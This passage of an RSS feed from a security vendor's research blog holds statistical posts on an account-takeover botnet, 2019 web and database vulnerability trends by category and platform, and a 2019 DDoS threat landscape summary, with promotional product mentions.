example again from a different angle with a different security control — behavioral-based detection.</p><p>Behavioral-based detection methods analyze deviations from normal user behavior, providing more advanced security controls that can deal with complex attacks.</p><p>In the context of account takeover, we talk about the behavior of a user or a device when accessing the login page or the authentication API. There are many potential variables that can be used to define normal behavior: the ratio of successful vs. failed login attempts, the ratio of weak passwords or common users, usage of leaked credentials, number of users per device, etc. Of course, your security solution would need to be aware of the context of the requests that it examines, whether they are indeed login attempts, the provided user, and the password and login attempt result. In addition, prior knowledge of common users, weak passwords, leaked credentials, and way to keep these lists updated, are all required. Once you have all that in place, you can start learning what is normal behavior and detect anomalies that may indicate account takeover attacks. The learning phase and the certainty of the learned behavior are determined by the amount of data that you inspect. If you inspect a lot of data then you might be able to build a reliable behavior model. Taking this one step further, you can also aggregate the attack data and run analytics on it. Running analytics on a single site may prove useful; if you run your analytics on top of hundreds of thousands of sites, you can get much more interesting results.</p><p>And this is exactly what we have done 😉</p><p>Running an analysis on the attack data, we managed to uncover several <a href="https://www.imperva.com/blog/?s=botnet">botnets </a>whose sole purpose is to take over accounts. We also discovered why, from a single site point of view, these attacks are so difficult to defend from.</p><h3>The Data</h3><p>The data was collected by our <a href="https://www.imperva.com/products/ato-account-takeover-protection/">Account Takeover Protection</a> solution based on behavior anomalies detected when a user or a device accessed the login page or the authentication API as explained above. Since Imperva protects more than 100,000 websites that receive millions of login attempts each day, we are talking about a lot of data. This data stored in our <a href="https://www.imperva.com/blog/how-our-threat-analytics-multi-region-data-lake-on-aws-stores-more-slashes-costs/">data lake </a>has generally been hashed or masked of personal data, and allows us to run all kinds of analytics. In this case, we used a machine learning algorithm (dbscan) to cluster ATO attacks events based on the magnitude of the attack, time of occurrence and similar credentials to establish a correlation between various devices that form a botnet.</p><p>In the following section we will focus on a specific botnet, a group of devices that are highly correlated based on the above mentioned features, that operated between April 7th to April 22nd this year.</p><h3>The Botnet</h3><p>The botnet contained 2,500 IPs overall and attacked more than 300 sites while active. Each day, 800* IPs (figure 2, right side) were active attacking 30* sites with 150,000* login attempts (*median value).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dKadTKRaO6eyhCfO.png" /></figure><p><em>Figure 2 — overall botnet activity (left side) and its statistics (right side)</em></p><p>Looking at this botnet from the victim site perspective, we found that each site was attacked for 7* hours (figure 3) by 500* IPs (figure 4) sending 7,000* login attempts (figure 5) with 7,000* different credentials (*median value).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VmDucSG8dobU-0d7.png" /></figure><p><em>Figure 3 — Distribution of botnet activity over time (left side) and its statistics (right side)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oKFRsBCx8J9LNdvt.png" /></figure><p><em>Figure 4 — Distribution of botnet IPs per site (left side) and its statistics (right side)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zxQs4blyrrDSw_N3.png" /></figure><p><em>Figure 5 — Distribution of botnet login attempts per site (left site) and its statistics (right side)</em></p><p>From a single site perspective, each botnet-controlled IP was responsible for ~14 login attempts during the attack time, or <strong>~2 login attempts per hour</strong>. This is called a “low and slow” attack — the botnet uses a lot of devices, each sending only a handful of requests, to masquerade its attack with legitimate traffic.</p><p>It is clear now why traditional security controls couldn’t have identified this attack. Since Imperva Account Takeover Protection relies on behavior-based detection, we were able to detect this activity and protect the relevant sites. Moreover, the botnet activity started on April 7th and this particular site was not hit until April 11th. That means we can use this knowledge to provide Account Takeover Protection before a website admin would be aware of a potential attack.</p><h3>Conclusions</h3><p>Business logic attacks such as account takeover require more advanced detection tools. It is difficult to defend against ATO attacks using traditional defense mechanisms since, as demonstrated above, attackers use advanced tools and wide infrastructure that allows them to spread the attack and to go undetected for a long period of time.</p><p>As attackers progress technologically, so should defenders. Behavioral-based detection takes defenders one step forward in this long path, as it can provide an effective way to find anomalies that highlight ATO attacks.</p><p>Account Takeover Protection is available to Imperva <a href="https://www.imperva.com/products/flexprotect-plans/">FlexProtect</a> customers and is part of the <a href="https://www.imperva.com/products/application-security/">Imperva Application Security</a> suite. For broader protection against bots, including Account Takeover attacks, Imperva also offers its <a href="https://www.imperva.com/products/bot-management/">Bot Management</a> solution <a href="https://www.imperva.com/blog/a-new-chapter-in-bot-management-begins-today-video/">acquired from Distil Networks.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da5484e00b50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The State of Vulnerabilities in 2019]]></title>
            <link>https://medium.com/imperva-research-labs/the-state-of-vulnerabilities-in-2019-31fff385e264?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/31fff385e264</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 07:46:47 GMT</pubDate>
            <atom:updated>2020-10-11T07:28:32.865Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://www.imperva.com/blog/author/dimabekerman/">Dima Bekerman</a> and <a href="https://medium.com/u/9bd9e7a252c9">Sarit Yerushalmi</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*thmx5CR6R-wbFM76mG9PWA.jpeg" /></figure><p>As a web application firewall provider, part of our job at Imperva is to continually monitor for new security vulnerabilities. To do this, we use internal software that collects information from various data sources such as vulnerability databases, newsletters, forums, social media and more, integrating it into a single repository, and assessing each vulnerability’s priority. Having this kind of data puts us in a unique position to provide an analysis of all web applications and database vulnerabilities throughout the year, view trends, and notice significant changes in the security landscape. As we did last year, we took a look back at 2019 to understand the changes and trends in web application and database security over the past year.</p><p>This year we slightly changed the vulnerability classification algorithm. The goal was to increase classification accuracy as well as to fit the vulnerabilities to the categories defined by OWASP in the best way possible. Such changes directly affected our research, however, and made it hard to compare to the <a href="https://www.imperva.com/blog/the-state-of-web-application-vulnerabilities-in-2018/">previous years’</a> published results. We, therefore, executed a new algorithm on the data from the previous years and conducted the research back to 2016. In this blog post, all the results from 2019 and previous years are aligned based on the new classification algorithm.</p><p>It may seem to our readers that, when divided into categories, the sum of the vulnerabilities is greater than the total number of vulnerabilities. The reason for this is the assignment of particular vulnerabilities to multiple categories. For example, we came across a SQL injection vulnerability that could allow an attacker to extract sensitive information from a database and execute arbitrary scripts. In such a case the vulnerability would be related to both ‘Injection’ and ‘Sensitive Data Exposure’ categories.</p><p>We often face a situation in which one vulnerability can be exploited in different ways and lead to different results. In such cases, we decided to assign this vulnerability to all the categories in which it may manifest. We believe that such an approach will present the overall picture in the most accurate way.</p><p>As in previous years, we continued to see an increase in the amount of vulnerabilities in 2019. The dominant category this year was, by far, injection. When drilling down into the data, a large percentage appeared to be related to Remote Code/Command Execution (RCE). The runner up category was Cross-site scripting (XSS), mainly consisting of Reflected XSS vulnerabilities. We also observed an increase in vulnerabilities in third-party components compared to the previous year, with most of the vulnerabilities related to WordPress plugins. We observed an unexpected decrease in the number of IoT vulnerabilities too, despite the increase in the number of devices in the market.</p><p>As expected, the number of vulnerabilities in API (Application Programming Interface), which is still a growing market, continues to grow, although not as fast as we would have expected based on the previous year. In the content management system category, WordPress was not only the most popular platform but also dominated the number of new vulnerabilities in 2019. In the server-side technologies category, PHP — the most prevalent server-side language — was associated with the highest number of vulnerabilities. MySQL appears to be ahead of all others popular databases, in terms of new vulnerabilities discovered in the last year, with 130 (59%) of the total vulnerabilities. The most common vulnerability in databases was Denial-of-Service (DoS). We drew an interesting conclusion from the social media analysis we conducted on twitter.com. The analysis revealed that the <a href="https://nvd.nist.gov/vuln-metrics/cvss">CVSS score</a>, which most of the industry relies on in order to prioritize systems patching, doesn’t necessarily correlate with the vulnerability popularity (at least in social media).</p><h3>2019 vulnerabilities statistics</h3><p>The first phase in our yearly analysis was to check the number of vulnerabilities published in 2019 in comparison to previous years. Figure 1 shows the number of vulnerabilities on a monthly basis over the last four years. We can see that the overall number of new vulnerabilities in 2019 (20,362) increased by 17.6% compared to 2018 (17,308) and by 44.5% compared to 2017 (14,086). Dividing vulnerabilities according to the <a href="https://nvd.nist.gov/vuln-metrics/cvss">CVSS</a> (Common Vulnerability Scoring System), 8% were ranked as Low or None severity, 61% were considered Medium, while 18% and 13% were of High and Critical severity respectively. According to our data, almost half of vulnerabilities (47%) have a public exploit available to hackers. In addition, more than a third (40.2%) of vulnerabilities don’t have an available solution, such as a software upgrade, workaround, or software patch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*b7BcQ5_Hs_xoRGE96PqG8w.png" /><figcaption><em>Number of vulnerabilities</em></figcaption></figure><h3>Vulnerabilities by OWASP category</h3><p>In Figure 2, you can see vulnerabilities from 2019 split into OWASP top 10 2017 categories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*uyAxpsaE0_OhP4Z-JEzf_A.png" /><figcaption><em>Vulnerabilities into OWASP categories</em></figcaption></figure><h3>Most common vulnerability — injection</h3><p>The dominant category this year was, by far, injection, with 5,730 (28.1%) of the total vulnerabilities seen in 2019 — a 21% increase on last year. When talking about injection vulnerabilities, the first thing that jumps to mind is SQL injection. When drilling down into the data, however, we saw remote command execution (RCE) emerge as the bigger issue, with 3,869 vulnerabilities (19%), compared to 1,610 vulnerabilities (8%) for SQLi. This was alongside 75 vulnerabilities related to local or remote file inclusion, and 607 vulnerabilities to unsanitized file upload.</p><h3>Increase in the number of vulnerabilities in third-party components</h3><p>We observed an increase of 80.6% in vulnerabilities in third-party components in 2019 compared to the previous year. These components contain plugins and packages for major products developed by third parties. Out of 2,081 vulnerabilities, 1,341 (64%) were in WordPress plugins, 354 (17%) in Jenkins plugins, while 88 new vulnerabilities were in NodeJS packages and the rest split among different products and frameworks.</p><h3>DoS and CSRF</h3><p>Two major vulnerability categories — Denial-of-Service (DoS) and Cross-Site-Request-Forgery (CSRF) — were out of the OWASP top 10, but still very common. In 2019 we observed 4,130 new DoS vulnerabilities, a decrease of 19.2% on 2018 with 5114 vulnerabilities. Conversely, the number of CSRF vulnerabilities increased by 23.8% from 639 in 2018 to 791 in 2019.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*ZBt4tueyLFT5p8Dr4ZKp6g.png" /><figcaption><em>DoS and CSRF vulnerabilities</em></figcaption></figure><h3>An unexpected decrease in IoT vulnerabilities</h3><p>Despite the increase in the number of IoT (Internet of Things) devices and vendors, we observed a decrease of 9% in vulnerabilities on the previous year. Figure 4 shows the number of IoT vulnerabilities between 2016–2019.</p><p>Diving into categories we found that DoS was the most common vulnerability for IoT in 2019 with 418 vulnerabilities. The runner up was Remote Code/Command Execution with 398 vulnerabilities, and Broken Authentication (default credentials) was in third place with 157 new vulnerabilities in 2019. From here we can conclude that manufacturers had learned from old mistakes and paid more attention to IoT security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*1_BFP7MnB3R7cRvVwHcapg.png" /><figcaption><em>IoT vulnerabilities</em></figcaption></figure><h3>API vulnerabilities — growing, but slowing</h3><p>API (Application Programming Interface) vulnerabilities are becoming more widespread as time goes by. In accordance with this, as presented in Figure 5, the number of new API vulnerabilities in 2019 (485) increased by 18.9% from 2018. Although API vulnerabilities continued to grow year-over-year, they appear to be slowing — from ~80% yearly growth between 2016 to 2018. One possible explanation is that, since APIs are more popular nowadays, they draw more attention from hackers and security researchers. In turn, organizations spend more time securing their APIs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*tQGfwsRaWEk__Zge9RyjJg.png" /><figcaption><em>API vulnerabilities</em></figcaption></figure><h3>Content management systems</h3><p>The most popular content management system is WordPress which, according to market share statistics cited by <a href="https://trends.builtwith.com/cms">BuiltWith</a>, is used by over 33% of all websites, and by 68% of all websites using a known content management system, followed by Drupal and Joomla. Perhaps unsurprisingly, WordPress also registered the highest number of vulnerabilities (1,574) last year and also saw a major increase of 143% from 2018 (Figure 6). The second major increase in the number of vulnerabilities (77%) was in Magento, from 126 in 2018 to 223 in 2019.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*YA0ujYnJb-xWIGSCOxK8yA.png" /><figcaption><em>Content Management Systems vulnerabilities</em></figcaption></figure><p>According to the <a href="https://wordpress.org/plugins/">WordPress official site</a>, the current number of plugins is 55,173, a slight decrease from 55,271 in 2018. Despite this slower growth in new plugins, the number of WordPress vulnerabilities increased. The explanation for this could either be the code quality of the plugins, or the fact that WordPress is such a popular CMS, motivating more attackers to develop dedicated attack tools and try their luck searching for holes in the code.</p><p>Unsurprisingly, 97.2% of WordPress vulnerabilities were related to plugins (see Figure 7), which extend the functionality and features of a website or a blog. Anyone can create a plugin and publish it — WordPress is open-source, easy to manage, and there is no enforcement or proper process that mandates minimum security standards (e.g. code analysis). Hence, WordPress plugins are especially prone to vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*FMQMpej6U80Fsbx5OAmwZQ.png" /><figcaption><em>WordPress vulnerabilities</em></figcaption></figure><p>The number of vulnerabilities in WordPress plugins increased by 143% from 629 in 2018 to 1,530 in 2019. The remaining 44 vulnerabilities were related to WordPress core, which also increased by 159% compared to 2018 where there were only 17 vulnerabilities.</p><p>The most common WordPress vulnerability by far was XSS with 703 (44.6%) vulnerabilities, while the runner up was CSRF with 254 (16.1%) vulnerabilities this year. In 2018, this position was held by Remote Code Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*MdSeSfSokAnU4A4qdIsHEg.png" /><figcaption><em>WordPress vulnerabilities into attack type</em></figcaption></figure><h3>Server technologies</h3><p>PHP is still the most prevalent server-side language used by <a href="https://trends.builtwith.com/framework">37% of the websites</a>. Therefore it’s expected to be associated with the highest number of vulnerabilities. In 2019, 2,652 vulnerabilities in server technologies implemented in PHP were published (see Figure 9), an increase of 12.7% on the number of vulnerabilities in 2018 (2,353). Java language, on which many Apache services are written (HTTP-Server, Tomcat, Struts, etc.) had much less attention this year, with 229 new vulnerabilities compared to 256 in 2018. This year also had far fewer (62.5%) vulnerabilities in applications or packages written in JavaScript for NodeJS. These trends can be explained by a continuous increase of awareness of the developers to the application’s security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*jez_qATbCLufp7jW0UGcRA.png" /><figcaption><em>Top Server-Side technology vulnerabilities</em></figcaption></figure><h3>Databases</h3><p><a href="https://db-engines.com/en/ranking">The three most popular databases</a>, with only small gaps between them, were Oracle, MySQL, and Microsoft SQL Server. But, in terms of new vulnerabilities discovered in the last year, MySQL was ahead of all others, with 130 (59%) of the vulnerabilities — this represented an increase of 23.8% on 2018 and 68.8% on 2017. The runner up with regard to the number of new vulnerabilities was SQLite, with 17, followed by Oracle with 16. The popularity of SQLite is growing as it is a lightweight database that’s <a href="https://www.sqlite.org/famous.html">integrated</a> into Android, iOS and Windows 10 as well as being used in many well-known applications like Chrome and Firefox. The most common vulnerability in Databases was Denial-of-Service (DoS) with 138 vulnerabilities, and the runner up was Broken Access Control with 45. This is due to the fact that, in the case of databases, the attacker’s desire is to get access to data. That said, vulnerabilities such as XXE, XSS or CSRF aren’t just applicable to databases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*57Tl7Xx2DtwYE3SKtXnfIg.png" /><figcaption><em>Vulnerabilities in DataBases</em></figcaption></figure><h3>Social media analysis</h3><p>Analyzing tweets from twitter.com, we located the top viral vulnerabilities from 2019. The first place with a wide margin — ~4.5K posts and ~77.5K retweets — belonged to (CVE-2019–0708), a remote code execution vulnerability in Remote Desktop Services for Windows (a.k.a BlueKeep). That was disclosed on May 16 and had a public exploit from September 6. According to <a href="https://gs.statcounter.com/os-market-share/desktop/worldwide">StatCounter Global Stats reports</a> from December 2019, Windows is the most popular desktop computer operating system with more than 77% market share, which might explain the hype around this vulnerability.</p><p>The runner up, with 670 posts and 18.7K retweets, was (CVE-2019–14287) — a bypass of `runas` user restrictions in UNIX sudo shell command. By exploiting this vulnerability, users with low privileges can run processes as a root user. The third place, with 339 posts and ~15K retweets, belonged to (CVE-2019–11932), a remote code execution in WhatsApp Messenger for Android in which the android-gif-drawable library is used to parse a specially crafted GIF image. According to <a href="https://www.statista.com/statistics/258749/most-popular-global-mobile-messenger-apps/">Statista</a>, WhatsApp appears to be a market leader in its sector with 1.6 billion active users.</p><p>The most viral vulnerability in web application technologies, with 553 unique posts and ~8.5K retweets, was (CVE-2019–11043), a <a href="https://www.imperva.com/blog/tracking-cve-2019-11043-php-vulnerability/">remote code execution vulnerability in PHP-FPM</a> running on the Nginx server. It wasn’t surprising that the RCE vulnerability in the most popular server-side technology would be highlighted accordingly in social media. Between the exploit’s release on October 22 and the end of the year, we observed more than 730,000 attempted attacks on Imperva’s Cloud WAF customers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqKnaCy_q8taSeXVvLFazA.png" /></figure><p>The interesting conclusion we drew from the analysis of these tweets was that the <a href="https://nvd.nist.gov/vuln-metrics/cvss">CVSS score</a> that most of the industry relies on to prioritize systems patching doesn’t necessarily correlate with the vulnerability popularity (at least in social media). While 95% of vulnerabilities are mentioned in fewer than 40 tweets, there are some “superstars” that feature in thousands of posts and reposts. In Figure 12 you can see the distribution of vulnerabilities by CVSS score and their virality in social media. While it’s not hard to notice a trend for more viral vulnerabilities among high CVSS scores, there are dozens of vulnerabilities in the Medium severity range that also reached high popularity in social media.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/0*fMtO0o4JzrZv6MPI.jpg" /></figure><p>Figure 12: CVSS by Social Media Virality</p><h3>Predictions for 2020</h3><p>As a security vendor, we’re often asked for our thoughts on what the future might hold. Here, then, are our vulnerability predictions for 2020:</p><ul><li>Old faithful Injection and Cross-Site-Scripting vulnerabilities will remain at the top of the chart. Despite the awareness of these vulnerabilities and the number of tools that check code for their presence, their number won’t decrease in 2020. The reason for this is the direct impact of the exploitation of these vulnerabilities, as well as — in most cases — the lack of preconditions required to exploit them.</li><li>The number of vulnerabilities in third-parties will continue to grow. Major platforms and frameworks rely on third-party plugins. WordPress has over <a href="https://wordpress.org/plugins/">55K plugins</a>, the NPM registry has almost <a href="https://skimdb.npmjs.com/registry">450K packages</a> for NodeJS, and PyPI has over <a href="https://pypi.org/">210K packages</a> for Python. In addition, there are also main package registries for <a href="https://maven.apache.org/">Java</a> and <a href="https://rubygems.org/">Ruby</a>-based projects. As the community continues to grow, and without code standards or restrictions to publish a plugin or a package, they remain the weakest point in the application, making them the sweet spot for attackers.</li><li>The release of the <a href="https://www.owasp.org/index.php/OWASP_API_Security_Project">OWASP top 10 for API</a> that standardizes the main threats in API will, on one hand, increase the awareness of security among developers. On the other hand, however, it will focus attackers and increase their attention on API vulnerabilities. Based on the previous year’s results, we expect to see constant growth, but at the same time a decrease in the growth rate.</li><li>The security awareness among IoT vendors is still growing, so they will invest more in securing their devices. This will be reflected in the number of new vulnerabilities in IoT devices.</li></ul><h3>How to protect your apps and data</h3><p>One of the best solutions for protecting against web application and database vulnerabilities is to deploy a <a href="https://www.imperva.com/products/web-application-firewall-waf/">Web Application Firewall</a> (WAF) and Data Monitoring &amp; Protection. The solutions may be either on-premise, in the cloud, or a combination of both depending on your needs, infrastructure, and more. As organizations move more of their apps and data to the cloud, it’s important to think through your security requirements. A solution supported by a dedicated security team is one to add to your selection criteria. Security teams can push timely security updates in order to properly defend your assets.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31fff385e264" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/the-state-of-vulnerabilities-in-2019-31fff385e264">The State of Vulnerabilities in 2019</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2019 Global DDoS Threat Landscape Report]]></title>
            <link>https://medium.com/imperva-research-labs/2019-global-ddos-threat-landscape-report-3ff7a2d03846?source=rss-b9cef89720de------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ff7a2d03846</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[ddos]]></category>
            <dc:creator><![CDATA[Imperva Research Labs]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 07:35:05 GMT</pubDate>
            <atom:updated>2020-09-27T07:35:05.961Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by <a href="https://www.imperva.com/blog/author/navital/">Nadav Avital</a>, <a href="https://www.imperva.com/blog/author/avishay-zawoznik/">Avishay Zawoznik,</a> <a href="https://medium.com/u/b10f9ebb5730">Johnathan Azaria</a> and <a href="https://www.imperva.com/blog/author/kim-lambert/">Kim Lambert</a></p><p>Today Imperva Research Labs, made up of senior researchers and industry experts who have been delivering sound and valid advice for over 15 years, is releasing a brand new Global DDoS Threat Landscape Report. The report is a statistical analysis of 3,643 network layer DDoS attacks throughout 2019 and 42,390 application layer DDoS attacks mitigated by Imperva from May to December 2019.</p><p>2019 saw the largest network and application layer attacks ever recorded, with a network layer DDoS attack that reached <a href="https://www.imperva.com/blog/this-ddos-attack-unleashed-the-most-packets-per-second-ever-heres-why-thats-important/">580 million packets per second</a> (PPS) in April, and a separate application layer attack which lasted for 13 days and peaked at <a href="https://www.imperva.com/blog/imperva-blocks-our-largest-ddos-l7-brute-force-attack-ever-peaking-at-292000-rps/">292,000 Requests Per Second (RPS)</a>.</p><p>However, these kinds of large-scale attacks were outside of the norm. Overall, we saw attacks that were smaller, shorter, and more persistent. While this trend may be indicative of attackers’ attempts to wreak havoc before a mitigation service kicks in, it’s no match for Imperva, where time to mitigation is near zero.</p><p>In fact, in January of this year, automation technology behind our service detected and immediately mitigated the most significant volumetric network layer DDoS attack (UDP/ICMP floods) that we’ve seen against Imperva’s own corporate websites. It was an assault of 92Gbps and 10.38 Million packets per second (Mpps).</p><h3>Report Highlights</h3><p>In terms of targets, the computing and Internet sectors drew the attention of DDoS offenders, ranking as the third most attacked industry segment alongside some of the more regular attack targets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*fTbmXLRKzC6C_MMR.png" /></figure><p>Figure 1: Top attacked industries, by number of network layer attacks <br><a href="https://www.imperva.com/resources/resource-library/reports/global-ddos-threat-landscape/">Read the full report &gt;&gt;</a></p><p>Another notable development was the high number of network layer assaults against businesses in the East Asia region, making it the most dangerous region both in terms of the number of attacks and the likelihood of being attacked. The region served as home to the 4 most attacked countries, with India topping the list. Combined, East Asia drew 77.7 percent of all network layer DDoS attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/0*m_ahINs92scU5tPB.png" /></figure><p>Figure 2: Top attacked countries, by number of network layer attacks <br><a href="https://www.imperva.com/resources/resource-library/reports/global-ddos-threat-landscape/">Read the full report &gt;&gt;</a></p><p>For application layer attacks, Ukraine was the biggest target, with more than 20 DDoS incidents per site on average.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rU9IfyLVgCT4h2lc.png" /></figure><p>Figure 3: Top attacked countries, by average number of application layer attacks per site <br><a href="https://www.imperva.com/resources/resource-library/reports/global-ddos-threat-landscape/">Read the full report &gt;&gt;</a></p><p>In 2019, application layer attack requests overwhelmingly came from the Philippines and China. Those source origination points were notedly the location of the machines used to carry out the attacks, not necessarily the location of the attackers themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qQGZj02yD19Q7Ksk.png" /></figure><p>Figure 4: Top attack source countries, by number of application layer attacks <br><a href="https://www.imperva.com/resources/resource-library/reports/global-ddos-threat-landscape/">Read the full report &gt;&gt;</a></p><p>While most network attacks were short, with 51% lasting less than 15 minutes, the vast majority were also persistent and aimed at the same targets. Attackers either launched DDoS assaults in short streaks — two-thirds of targets were attacked up to five times — or were ultra-persistent, with a quarter of targets attacked 10 times or more.</p><p>We can theorize that the motivation here is attackers aiming to cause as much disruption as possible before their target’s DDoS mitigation service jumped into action. However, we know that this tactic is uniquely ineffective against targets secured by <a href="https://www.imperva.com/products/ddos-protection-services/">Imperva DDoS protection services,</a> where mitigation against any attack of any size typically takes place in less than one second. It’s also backed by a <a href="https://www.imperva.com/blog/new-3-second-ddos-mitigation-sla-is-3x-faster-and-the-industrys-best/">3-second mitigation guarantee</a>, under SLA — the industry’s best.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/0*4AJ7xLCXOwVa-yk6.png" /></figure><p>Figure 5: Network layer attacks by duration<br><a href="https://www.imperva.com/resources/resource-library/reports/global-ddos-threat-landscape/">Read the full report &gt;&gt;</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ff7a2d03846" width="1" height="1" alt=""><hr><p><a href="https://medium.com/imperva-research-labs/2019-global-ddos-threat-landscape-report-3ff7a2d03846">2019 Global DDoS Threat Landscape Report</a> was originally published in <a href="https://medium.com/imperva-research-labs">Imperva Research Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>